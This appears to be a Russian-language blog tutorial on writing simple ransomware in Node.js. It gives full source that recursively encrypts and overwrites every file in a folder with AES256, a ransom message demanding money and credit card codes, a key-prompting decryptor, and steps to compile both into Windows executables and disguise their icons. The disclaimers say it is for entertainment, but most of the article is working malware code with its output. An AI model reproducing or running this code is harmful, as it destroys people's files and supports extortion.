Вирус на Node.js

Статья носит чисто развлекательный характер, и не призывает вас к никаким действиям. Распространение вирусов карается по закону.
Чтобы не сесть в тюрягу, я сделал так, чтобы вирус не мог поражать папки и файлы, в названии которых есть пробелы, следовательно вирус будет бесполезен.
Автор статьи не несёт ответственности за вас, так что если вы случайно перезаписали весь диск, это ваша вина.
Перед прочтением статьи рекомендую ознакомиться с модулем fs.
Установка всего нужного
Чтобы сделать exe'шник из js файла, нам понадобится плагин pkg. Чтобы не заморачиваться с чтением всех файлов, включая те, которые лежат в подпапках, установим recursive-readdir.
$ npm i recursive-readdir $ npm i -g pkg
Для цели, которую мы будем атаковать, мы будем использовать простую систему файлов, где везде будет написано lorem ipsum:

Распознование файлов и папок
Для начала импортируем всё что нам нужно:
fs = require('fs');
crypto = require('crypto-js'), recursive = require("recursive-readdir");
Теперь попробуем прочесть файлы в директории. Второй аргумент функции - файлы, которые игнорируются. В моём случае это index.js. Третий аргумент это коллбек:
recursive("./", ['index.js'] , (err, files) => {
console.log(files);
});
В выводе должен быть возвращён массив:
[ 'file.txt', 'files\\file1.txt', 'files\\more files\\file2.txt', 'files\\more files\\file3.txt' ]
Теперь нам нужно считывать файлы и переписывать их. Пока что мы не будем их шифровать, дабы убедиться что чтение файлов происходит правильно. Внутри функции мы вставим цикл for, внутри которого будет writeFileSync:
recursive("./", ['index.js'] , (err, files) => {
for(let i of files){
fs.writeFileSync(i, 'hello world!')
}
});
Как видим, все файлы теперь перезаписаны:

Шифрующие функции
В Node.js есть встроенный модуль crypto. С помощью него можно создавать хеши, шифровать информацию и несколько других плюшек. У нас будут две функции - encrypt и decrypt. Советую ознакомиться с этой статьёй, иначе всё что здесь написано, вы не поймёте. Здесь мы используем AES256.
decrypt = (text, key) => {
const decipher = crypto.createDecipher('aes256', key)
let decrypted = decipher.update(text, 'hex', 'utf8')
decrypted += decipher.final('utf8')
return decrypted
}
encrypt = (text, key) => {
const cipher = crypto.createCipher('aes256', key)
let crypted = cipher.update(text, 'utf8', 'hex')
crypted += cipher.final('hex')
return crypted
}
Но для того чтобы что-нибудь зашифровать нужен ключ. Сгенерируем его с помощью хеш алгоритма SHA512:
const password = crypto.createHash('sha512').update('very weak password').digest('hex');
На самом деле это ужасно слабый хеш, потому что его легко взломать через хешлибы. Если бы количество данных было больше, то подобрать хеш было бы гораздо сложнее. Но я это делаю для наглядности. Пароль желательно заныкать в отдельный файлик ( у меня это password.js):
crypto = require('crypto');
const password = JSON.stringify(crypto.createHash('sha512').update('very weak password').digest('hex'));
module.exports = password;
Импортируем password.js. Теперь мы немного видоизменим нашу функцию, которая читает файлы:
recursive("./", ['index.js', 'password.js'] , (err, files) => {
for(let i of files){
fs.writeFileSync(i, encrypt(fs.readFileSync(i, 'utf8'), password))
}});
Теперь все файлы зашифрованы. Вот как выглядит один из них:
f87ba7385acbebb7aa7d0e80e9fbea3aa1cf591b0b2ca7d68317231502bcb135080c643 e65a9e8ae835c835d3b76836dbcd0e1d22058d981f88cb81362e58d467d7db6ec3ab993 a9ad355f1eb8344f11d7a6a7d0d0c99c515b94fcb00387ace52929b79b6bcb33357914d 10f0296d80c6397391d9d060cd038bf26252acd286d7d69d626507c54d5d675a8d46f47 3adb49cb8d87d223359378cb5623cdb71d4b0103ba4b54a0b97e4865576ece30b799d29 120409bd74ae5d4ea680add1198e9fa1eaa24b10195ee3e693292804ff360eb410ca53d c3b839f8bd45d94a1e17c82416740ff013d31f7d96b4920206bd3aac3d57968237c59b9 781e4a492b54b8d4c7acc292af616b9f9ed04ee05891fa5209fddf4b0d60f21e65e00eb 9d3ea9e37e22f80b3afdf2b3e0d2ce88f552caeba8eb696486f05f2e003b58ccd4031d8 0494fc08a5f8b91cf0a7a06c20697b2540566a14c744dfc04304cf2c17b5ad4a63e9c0c 0e9ec4583da798198190d90320e66e6703cb736ece9821928442105018b48262dc15315 58feb1966ecd59b86309bdf782d70ffe65dc420820a5a665df0dc77c98bb43004ec8e26 d695fe4c5e1579acb135278cfc28c913e14af85955966dc2a18c46d649f3de4a81f0621 ffa8e
Расшифровать файлы можно заменив encrypt на decrypt. Запускаем код снова и видим что всё расшифровалось:
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
Теперь нам нужно создать файл, где будет наша функция-дешифратор (decrpypt.js):
fs = require('fs'), crypto = require('crypto');
crypto = require('crypto'), recursive = require("recursive-readdir"),
password = require('./password.js');
decrypt = (text, secret) => {
const decipher = crypto.createDecipher('aes256', secret)
let decrypted = decipher.update(text, 'hex', 'utf8')
decrypted += decipher.final('utf8')
return decrypted
}
recursive("./", ['index.js', 'password.js', 'decrypt.js'] , (err, files) => {
for(let i of files){
fs.writeFileSync(i, decrypt(fs.readFileSync(i, 'utf8'), password))
}});
Интерфейс
Остался последний пункт. Нам нужно скомпилировать js в exe, но перед этим желательно добавить ввод в decrypt.js. Желательно удалить password.js и перенести код оттуда в index.js. Вот что мы написали:
decrypt.js:
fs = require('fs'), crypto = require('crypto');
crypto = require('crypto'), recursive = require("recursive-readdir"), readline = require('readline');
process.stdin.resume();
rl = readline.createInterface({
input: process.stdin,
output: process.stdout
})
rl.question('To get your files back enter a key below :) (Right click to paste)\n', answer => {
try {
decrypt = (text, key) => {
const decipher = crypto.createDecipher('aes256', key)
let decrypted = decipher.update(text, 'hex', 'utf8')
decrypted += decipher.final('utf8')
return decrypted
}
recursive("./", ['index.js', 'index.exe', 'decrypt.js', 'decrypt.exe'] , (err, files) => {
for(let i of files){
fs.writeFileSync(i, decrypt(fs.readFileSync(i, 'utf8'), JSON.stringify(answer)))
}});
}
catch(e) {
console.log('The key doesnt match, sorry :(');
}
console.log(`Have a nice day!. Press Ctrl + C to exit`);
index.js:
fs = require('fs'), crypto = require('crypto');
crypto = require('crypto'), recursive = require("recursive-readdir");
process.stdin.resume();
// Encrypt
encrypt = (text, secret) => {
const cipher = crypto.createCipher('aes256', secret)
let crypted = cipher.update(text, 'utf8', 'hex')
crypted += cipher.final('hex')
return crypted
}
const password = JSON.stringify(crypto.createHash('sha256').update('very weak password').digest('hex'));
// Read files
recursive("./", ['index.js', 'index.exe', 'decrypt.js', 'decrypt.exe'] , (err, files) => {
for(let i of files){
fs.writeFileSync(i, encrypt(fs.readFileSync(i, 'utf8'), password));
}});
console.log(`
Oops! It seems that all your files have been encrypted :(
We can help you by giving a secret key. Just send some money to 88005553535
and write an email to lolkekcheburek@superpuperpochta.com with your credit card code.
Теперь компилируем их в exe, с помощью pkg. Я ставлю флажок -t node10-win, это значит что я компилирую для винды под видом 10 версии ноды.

Приложения выглядят также как и командная строка. Всё работает также как и в js.
Но! Уконки выглядят уродливыми и сильно палят программу. Для этого нужен ResourceHacker. И вирус не будет слишком опасным, если он будет удалять файлы только в своей же папке. Но туториал посвящён не этому, так что пропустим эти моменты.
Как видим, всё работает:

Заключение
Нельзя полностью считать данную прогу вирусом, потому что она не использует никаких уязвимостей системы. Эта статья носила скорее развлекательный характер и не была предначена для обучения созданию вирусов. Node.js не очень хорошо для этого подходит.